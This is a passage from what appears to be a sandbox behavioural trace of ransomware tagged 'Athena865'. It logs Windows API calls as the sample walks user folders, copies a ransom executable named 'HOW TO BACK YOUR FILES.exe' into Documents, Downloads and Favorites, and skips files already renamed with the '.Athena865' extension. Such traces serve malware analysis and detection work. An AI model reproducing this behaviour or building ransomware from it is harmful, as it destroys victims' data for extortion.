Flags=0x0, Size=0x68) returned 0x53ab90 [0100.482] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.482] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.482] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5dc8980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0100.482] lstrcmpiW (lpString1="My Shapes", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.482] lstrcmpiW (lpString1="My Shapes", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.482] lstrcpyW (in: lpString1=0x241e898, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0100.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac68 [0100.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53ac00 [0100.483] lstrcatW (in: lpString1="My Shapes", lpString2="\\" | out: lpString1="My Shapes\\") returned="My Shapes\\" [0100.483] lstrcatW (in: lpString1="My Shapes\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Shapes\\HOW TO BACK YOUR FILES.exe") returned="My Shapes\\HOW TO BACK YOUR FILES.exe" [0100.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.483] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.483] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.483] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.483] lstrcpyW (in: lpString1=0x241e898, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0100.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac38 [0100.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53ac70 [0100.483] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.483] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.484] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5deeae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0100.484] lstrcmpiW (lpString1="Outlook Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.484] lstrcmpiW (lpString1="Outlook Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.484] lstrcpyW (in: lpString1=0x241e898, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0100.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b90 [0100.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x539a40 [0100.484] lstrcatW (in: lpString1="Outlook Files", lpString2="\\" | out: lpString1="Outlook Files\\") returned="Outlook Files\\" [0100.484] lstrcatW (in: lpString1="Outlook Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook Files\\HOW TO BACK YOUR FILES.exe") returned="Outlook Files\\HOW TO BACK YOUR FILES.exe" [0100.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.485] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac6fae0, ftCreationTime.dwHighDateTime=0x1d4cf4b, ftLastAccessTime.dwLowDateTime=0x43d61eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0xc5e14c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x160c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sheawXy7l.xls.Athena865", cAlternateFileName="SHEAWX~1.ATH")) returned 1 [0100.485] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.485] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.485] lstrcpyW (in: lpString1=0x241e898, lpString2="sheawXy7l.xls.Athena865" | out: lpString1="sheawXy7l.xls.Athena865") returned="sheawXy7l.xls.Athena865" [0100.485] lstrlenW (lpString="sheawXy7l.xls.Athena865") returned 23 [0100.485] lstrlenW (lpString="Athena865") returned 9 [0100.485] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.485] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad02650, ftCreationTime.dwHighDateTime=0x1d53add, ftLastAccessTime.dwLowDateTime=0xc0406370, ftLastAccessTime.dwHighDateTime=0x1d4f1ef, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", cAlternateFileName="UUG-K9~1.ATH")) returned 1 [0100.485] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.485] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.485] lstrcpyW (in: lpString1=0x241e898, lpString2="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" | out: lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" [0100.485] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned 35 [0100.485] lstrlenW (lpString="Athena865") returned 9 [0100.485] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.485] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4db3cca0, ftCreationTime.dwHighDateTime=0x1d50c9f, ftLastAccessTime.dwLowDateTime=0xa9091080, ftLastAccessTime.dwHighDateTime=0x1d54735, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vofRB78_e8.docx.Athena865", cAlternateFileName="VOFRB7~1.ATH")) returned 1 [0100.485] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.485] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.485] lstrcpyW (in: lpString1=0x241e898, lpString2="vofRB78_e8.docx.Athena865" | out: lpString1="vofRB78_e8.docx.Athena865") returned="vofRB78_e8.docx.Athena865" [0100.485] lstrlenW (lpString="vofRB78_e8.docx.Athena865") returned 25 [0100.485] lstrlenW (lpString="Athena865") returned 9 [0100.485] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.485] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9e180, ftCreationTime.dwHighDateTime=0x1d52ae5, ftLastAccessTime.dwLowDateTime=0x91e8ada0, ftLastAccessTime.dwHighDateTime=0x1d52f72, ftLastWriteTime.dwLowDateTime=0xc5e60f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16bd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w5VIYDZ.xlsx.Athena865", cAlternateFileName="W5VIYD~1.ATH")) returned 1 [0100.485] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.485] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.486] lstrcpyW (in: lpString1=0x241e898, lpString2="w5VIYDZ.xlsx.Athena865" | out: lpString1="w5VIYDZ.xlsx.Athena865") returned="w5VIYDZ.xlsx.Athena865" [0100.486] lstrlenW (lpString="w5VIYDZ.xlsx.Athena865") returned 22 [0100.486] lstrlenW (lpString="Athena865") returned 9 [0100.486] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.486] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeecd110, ftCreationTime.dwHighDateTime=0x1d500ac, ftLastAccessTime.dwLowDateTime=0xf5c532c0, ftLastAccessTime.dwHighDateTime=0x1d549fe, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB1Bcf.pptx.Athena865", cAlternateFileName="WB1BCF~1.ATH")) returned 1 [0100.486] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.486] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.486] lstrcpyW (in: lpString1=0x241e898, lpString2="WB1Bcf.pptx.Athena865" | out: lpString1="WB1Bcf.pptx.Athena865") returned="WB1Bcf.pptx.Athena865" [0100.486] lstrlenW (lpString="WB1Bcf.pptx.Athena865") returned 21 [0100.486] lstrlenW (lpString="Athena865") returned 9 [0100.486] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.486] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6691d10, ftCreationTime.dwHighDateTime=0x1d575b2, ftLastAccessTime.dwLowDateTime=0x82317b80, ftLastAccessTime.dwHighDateTime=0x1d4eed6, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ycRhOOUrcEF.docx.Athena865", cAlternateFileName="YCRHOO~1.ATH")) returned 1 [0100.486] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.486] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.486] lstrcpyW (in: lpString1=0x241e898, lpString2="ycRhOOUrcEF.docx.Athena865" | out: lpString1="ycRhOOUrcEF.docx.Athena865") returned="ycRhOOUrcEF.docx.Athena865" [0100.486] lstrlenW (lpString="ycRhOOUrcEF.docx.Athena865") returned 26 [0100.486] lstrlenW (lpString="Athena865") returned 9 [0100.486] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.486] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccb3a60, ftCreationTime.dwHighDateTime=0x1d4f71a, ftLastAccessTime.dwLowDateTime=0xade5a9b0, ftLastAccessTime.dwHighDateTime=0x1d54d11, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJi4YRS6U.xlsx.Athena865", cAlternateFileName="YJI4YR~1.ATH")) returned 1 [0100.486] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.486] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.486] lstrcpyW (in: lpString1=0x241e898, lpString2="YJi4YRS6U.xlsx.Athena865" | out: lpString1="YJi4YRS6U.xlsx.Athena865") returned="YJi4YRS6U.xlsx.Athena865" [0100.486] lstrlenW (lpString="YJi4YRS6U.xlsx.Athena865") returned 24 [0100.486] lstrlenW (lpString="Athena865") returned 9 [0100.486] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.486] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 1 [0100.486] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.486] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.487] lstrcpyW (in: lpString1=0x241e898, lpString2="ZFJCJlO5OR1.xlsx.Athena865" | out: lpString1="ZFJCJlO5OR1.xlsx.Athena865") returned="ZFJCJlO5OR1.xlsx.Athena865" [0100.487] lstrlenW (lpString="ZFJCJlO5OR1.xlsx.Athena865") returned 26 [0100.487] lstrlenW (lpString="Athena865") returned 9 [0100.487] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.487] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 0 [0100.487] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.487] ReleaseMutex (hMutex=0xec) returned 1 [0100.487] CloseHandle (hObject=0xec) returned 1 [0100.487] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0100.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5166e0 | out: hHeap=0x4f0000) returned 1 [0100.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae78 | out: hHeap=0x4f0000) returned 1 [0100.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39 [0100.487] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D2F1270D13C6CF2F4F35E8A11994B84F") returned 0xec [0100.487] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.487] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0100.487] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.488] GetLastError () returned 0x0 [0100.488] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.488] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.489] CloseHandle (hObject=0xf4) returned 1 [0100.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.489] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.489] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5ef9480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ef9480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.489] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.489] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.489] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.489] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.489] lstrlenW (lpString="Athena865") returned 9 [0100.489] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.489] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.489] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.489] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0100.489] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.489] ReleaseMutex (hMutex=0xec) returned 1 [0100.489] CloseHandle (hObject=0xec) returned 1 [0100.490] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0100.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516738 | out: hHeap=0x4f0000) returned 1 [0100.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae90 | out: hHeap=0x4f0000) returned 1 [0100.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39 [0100.490] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6205DF6540617EAAB69427DE55D09601") returned 0xec [0100.490] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.490] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0100.490] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.490] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.491] GetLastError () returned 0x0 [0100.491] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.491] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.491] CloseHandle (hObject=0xf4) returned 1 [0100.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f1f5e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f1f5e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.492] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.492] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.492] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.492] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.492] lstrlenW (lpString="Athena865") returned 9 [0100.492] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.492] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce37aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.492] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW 